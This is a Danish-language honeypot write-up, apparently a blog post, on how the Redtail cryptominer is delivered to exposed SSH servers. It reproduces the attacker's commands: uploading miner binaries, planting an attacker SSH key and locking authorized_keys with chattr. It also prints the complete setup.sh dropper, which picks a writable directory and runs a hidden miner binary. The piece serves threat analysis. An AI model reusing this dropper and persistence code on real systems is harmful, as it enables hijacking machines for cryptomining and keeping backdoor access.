Redtail Cryptominer forsøges i øjeblikket leveret til åbne SSH servere (port 22) fra en Hollandsk ip-adresse.
Fremgangsmåden:
1. Der oprettes forbindelse til SSH serveren på port 22
2. Der forsøges at logge på (da dette mål er en honeypot, foregives det at koden er korrekt og login er succesfuldt):
$: Login attempt [root/1qasw2] succeeded
3. Efter login køres dette uploades 5 filer (Redtail Cryptominer software samt setup.sh script):
$:SFTP Uploaded file redtail.arm7
$:SFTP Uploaded file redtail.arm8
$:SFTP Uploaded file setup.sh
$:SFTP Uploaded file redtail.x86_64
$:SFTP Uploaded file redtail.i686
Setup.sh gøres eksekverbart:
$: chmod +x setup.sh;
Setup.sh gøres eksekverbart:
$: sh setup.sh;
Setup.sh gøres slettes efter eksekvering:
$: rm -rf setup.sh;
Der oprettes en skjult .ssh mappe
$: mkdir -p ~/.ssh;
Attributterne på authorized_keys sættes med -ia således at der kan tilføjes data. I dette tilfælde en rsa-nøgle.
$: chattr -ia ~/.ssh/authorized_keys
$: echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/
mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+
83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/
0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+
pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/
1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+
fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys
Attributterne på authorized_keys sættes med +ia således at filen gøres immutable og kan ikke ændres eller slettes
$: chattr +ai ~/.ssh/authorized_keys
$: uname -a
$: echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"\n"
Setup.sh scriptet forsøger at afgøre hvilket operativsystem der køres for at køre den rette version af den downloadede Redtail Cryptominer software.
Scriptet ser således ud:
#!/bin/bash
NOARCH=false
ARCH=$(uname -mp)
if echo "$ARCH" | grep -q "x86_64" || echo "$ARCH" | grep -q "amd64"; then
ARCH="x86_64"
elif echo "$ARCH" | grep -q "i[3456]86"; then
ARCH="i686"
elif echo "$ARCH" | grep -q "armv8" || echo "$ARCH" | grep -q "aarch64"; then
ARCH="arm8"
elif echo "$ARCH" | grep -q "armv7"; then
ARCH="arm7"
else
NOARCH=true
fi
FOLDERS=$(find / -type d -user $(whoami) -perm -u=rwx -not -path "/proc/*" -not -path "/sys/*" -not -path "/tmp/*" 2>/dev/null)
CURR=${PWD}
for i in $FOLDERS /tmp /var/tmp /dev/shm; do
if cd "$i" && touch .testfile && (dd if=/dev/zero of=.testfile2 bs=2M count=1 >/dev/null 2>&1 || truncate -s 2M .testfile2 >/dev/null 2>&1); then
rm -rf .testfile .testfile2
if { command -v findmnt || type findmnt; } >/dev/null 2>&1 && ! findmnt -no OPTIONS "$i" | grep -qw noexec || ! grep -qw " $i " /proc/mounts | grep -qw noexec; then
if [ "$CURR" != "$i" ]; then
cp -r "$CURR"/redtail.* "$i"
fi
break
fi
fi
done
rm -rf .redtail
if [ $NOARCH = true ]; then
for a in x86_64 i686 arm8 arm7; do
cat redtail.$a >.redtail
chmod +x .redtail
./.redtail ssh
done
else
cat redtail.$ARCH >.redtail
chmod +x .redtail
./.redtail ssh
fi
rm -rf redtail.*
rm -rf "$CURR"/redtail.*